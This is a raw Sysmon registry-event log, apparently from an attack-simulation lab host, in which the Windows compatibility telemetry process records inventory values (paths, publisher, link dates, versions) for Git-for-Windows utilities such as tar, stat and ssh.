14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tclsh.exe|c680bc50ff765224\LinkDate01/01/1970 00:00:00 13241300x800000000000000037584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tclsh.exe|c680bc50ff765224\Publisheractivestate corporation 13241300x800000000000000037583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tclsh.exe|c680bc50ff765224\LowerCaseLongPathc:\program files\git\mingw64\bin\tclsh.exe 13241300x800000000000000037582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tar.exe|1dbed49e1ef6b70d\BinProductVersion(Empty) 13241300x800000000000000037581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tar.exe|1dbed49e1ef6b70d\LinkDate01/01/1970 00:00:00 13241300x800000000000000037580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tar.exe|1dbed49e1ef6b70d\Publisher(Empty) 13241300x800000000000000037579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tar.exe|1dbed49e1ef6b70d\LowerCaseLongPathc:\program files\git\usr\bin\tar.exe 13241300x800000000000000037578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tail.exe|6acc971f2533f90e\BinProductVersion(Empty) 13241300x800000000000000037577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tail.exe|6acc971f2533f90e\LinkDate01/01/1970 00:00:00 13241300x800000000000000037576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tail.exe|6acc971f2533f90e\Publisher(Empty) 13241300x800000000000000037575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tail.exe|6acc971f2533f90e\LowerCaseLongPathc:\program files\git\usr\bin\tail.exe 13241300x800000000000000037574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tac.exe|e73e5023bd74098e\BinProductVersion(Empty) 13241300x800000000000000037573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tac.exe|e73e5023bd74098e\LinkDate01/01/1970 00:00:00 13241300x800000000000000037572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tac.exe|e73e5023bd74098e\Publisher(Empty) 13241300x800000000000000037571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tac.exe|e73e5023bd74098e\LowerCaseLongPathc:\program files\git\usr\bin\tac.exe 13241300x800000000000000037570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tabs.exe|743d286408f97c6a\BinProductVersion(Empty) 13241300x800000000000000037569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tabs.exe|743d286408f97c6a\LinkDate01/01/1970 00:00:00 13241300x800000000000000037568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tabs.exe|743d286408f97c6a\Publisher(Empty) 13241300x800000000000000037567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tabs.exe|743d286408f97c6a\LowerCaseLongPathc:\program files\git\usr\bin\tabs.exe 13241300x800000000000000037566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sync.exe|5031e1e27bd724c8\BinProductVersion(Empty) 13241300x800000000000000037565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sync.exe|5031e1e27bd724c8\LinkDate01/01/1970 00:00:00 13241300x800000000000000037564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sync.exe|5031e1e27bd724c8\Publisher(Empty) 13241300x800000000000000037563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sync.exe|5031e1e27bd724c8\LowerCaseLongPathc:\program files\git\usr\bin\sync.exe 13241300x800000000000000037562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sum.exe|624682ccf5cba616\BinProductVersion(Empty) 13241300x800000000000000037561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sum.exe|624682ccf5cba616\LinkDate01/01/1970 00:00:00 13241300x800000000000000037560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sum.exe|624682ccf5cba616\Publisher(Empty) 13241300x800000000000000037559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sum.exe|624682ccf5cba616\LowerCaseLongPathc:\program files\git\usr\bin\sum.exe 13241300x800000000000000037558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\stty.exe|4906c606dce675\BinProductVersion(Empty) 13241300x800000000000000037557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\stty.exe|4906c606dce675\LinkDate01/01/1970 00:00:00 13241300x800000000000000037556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\stty.exe|4906c606dce675\Publisher(Empty) 13241300x800000000000000037555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\stty.exe|4906c606dce675\LowerCaseLongPathc:\program files\git\usr\bin\stty.exe 13241300x800000000000000037554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\strace.exe|2e71f496c5d1f2c3\BinProductVersion(Empty) 13241300x800000000000000037553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\strace.exe|2e71f496c5d1f2c3\LinkDate03/26/2021 22:24:41 13241300x800000000000000037552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\strace.exe|2e71f496c5d1f2c3\Publisher(Empty) 13241300x800000000000000037551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\strace.exe|2e71f496c5d1f2c3\LowerCaseLongPathc:\program files\git\usr\bin\strace.exe 13241300x800000000000000037550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\stat.exe|1f444a67c4725e6b\BinProductVersion(Empty) 13241300x800000000000000037549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\stat.exe|1f444a67c4725e6b\LinkDate01/01/1970 00:00:00 13241300x800000000000000037548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\stat.exe|1f444a67c4725e6b\Publisher(Empty) 13241300x800000000000000037547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\stat.exe|1f444a67c4725e6b\LowerCaseLongPathc:\program files\git\usr\bin\stat.exe 13241300x800000000000000037546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssp.exe|e0a08db5e80ffcdd\BinProductVersion(Empty) 13241300x800000000000000037545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssp.exe|e0a08db5e80ffcdd\LinkDate03/26/2021 22:24:41 13241300x800000000000000037544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssp.exe|e0a08db5e80ffcdd\Publisher(Empty) 13241300x800000000000000037543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssp.exe|e0a08db5e80ffcdd\LowerCaseLongPathc:\program files\git\usr\bin\ssp.exe 13241300x800000000000000037542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sshd.exe|5f6404603331db89\BinProductVersion(Empty) 13241300x800000000000000037541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sshd.exe|5f6404603331db89\LinkDate01/01/1970 00:00:00 13241300x800000000000000037540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sshd.exe|5f6404603331db89\Publisher(Empty) 13241300x800000000000000037539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sshd.exe|5f6404603331db89\LowerCaseLongPathc:\program files\git\usr\bin\sshd.exe 13241300x800000000000000037538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh.exe|4c8b77151293e36e\BinProductVersion(Empty) 13241300x800000000000000037537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh.exe|4c8b77151293e36e\LinkDate01/01/1970 00:00:00 13241300x800000000000000037536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh.exe|4c8b77151293e36e\Publisher(Empty) 13241300x800000000000000037535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh.exe|4c8b77151293e36e\LowerCaseLongPathc:\program files\git\usr\bin\ssh.exe 13241300x800000000000000037534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-sk-helper.ex|526e238c0df646d1\BinProductVersion(Empty) 13241300x800000000000000037533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-sk-helper.ex|526e238c0df646d1\LinkDate01/01/1970 00:00:00 13241300x800000000000000037532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-sk-helper.ex|526e238c0df646d1\Publisher(Empty) 13241300x800000000000000037531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-sk-helper.ex|526e238c0df646d1\LowerCaseLongPathc:\program files\git\usr\lib\ssh\ssh-sk-helper.exe 13241300x800000000000000037530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-pkcs11-helpe|d67a44ebac5d5f31\BinProductVersion(Empty) 13241300x800000000000000037529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-pkcs11-helpe|d67a44ebac5d5f31\LinkDate01/01/1970 00:00:00 13241300x800000000000000037528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-pkcs11-helpe|d67a44ebac5d5f31\Publisher(Empty) 13241300x800000000000000037527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-pkcs11-helpe|d67a44ebac5d5f31\LowerCaseLongPathc:\program files\git\usr\lib\ssh\ssh-pkcs11-helper.exe 13241300x800000000000000037526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-pageant.exe|f558d3a8a2e8201c\BinProductVersion(Empty) 13241300x800000000000000037525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-pageant.exe|f558d3a8a2e8201c\LinkDate01/01/1970 00:00:00 13241300x800000000000000037524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-pageant.exe|f558d3a8a2e8201c\Publisher(Empty) 13241300x800000000000000037523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-pageant.exe|f558d3a8a2e8201c\LowerCaseLongPathc:\program files\git\usr\bin\ssh-pageant.exe 13241300x800000000000000037522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-keysign.exe|9428dc5f875b1cbe\BinProductVersion(Empty) 13241300x800000000000000037521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-keysign.exe|9428dc5f875b1cbe\LinkDate01/01/1970 00:00:00 13241300x800000000000000037520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-keysign.exe|9428dc5f875b1cbe\Publisher(Empty) 13241300x800000000000000037519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-keysign.exe|9428dc5f875b1cbe\LowerCaseLongPathc:\program files\git\usr\lib\ssh\ssh-keysign.exe 13241300x800000000000000037518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-keyscan.exe|54318a1f39629d66\BinProductVersion(Empty) 13241300x800000000000000037517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-keyscan.exe|54318a1f39629d66\LinkDate01/01/1970 00:00:00 13241300x800000000000000037516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-keyscan.exe|54318a1f39629d66\Publisher(Empty) 13241300x800000000000000037515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-keyscan.exe|54318a1f39629d66\LowerCaseLongPathc:\program files\git\usr\bin\ssh-keyscan.exe 13241300x800000000000000037514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-keygen.exe|4fd9485267bf242f\BinProductVersion(Empty) 13241300x800000000000000037513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssh-keygen.exe|4fd9485267bf242f\LinkDate01/01/1970 00:00:00 13241300x800000000000000037512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 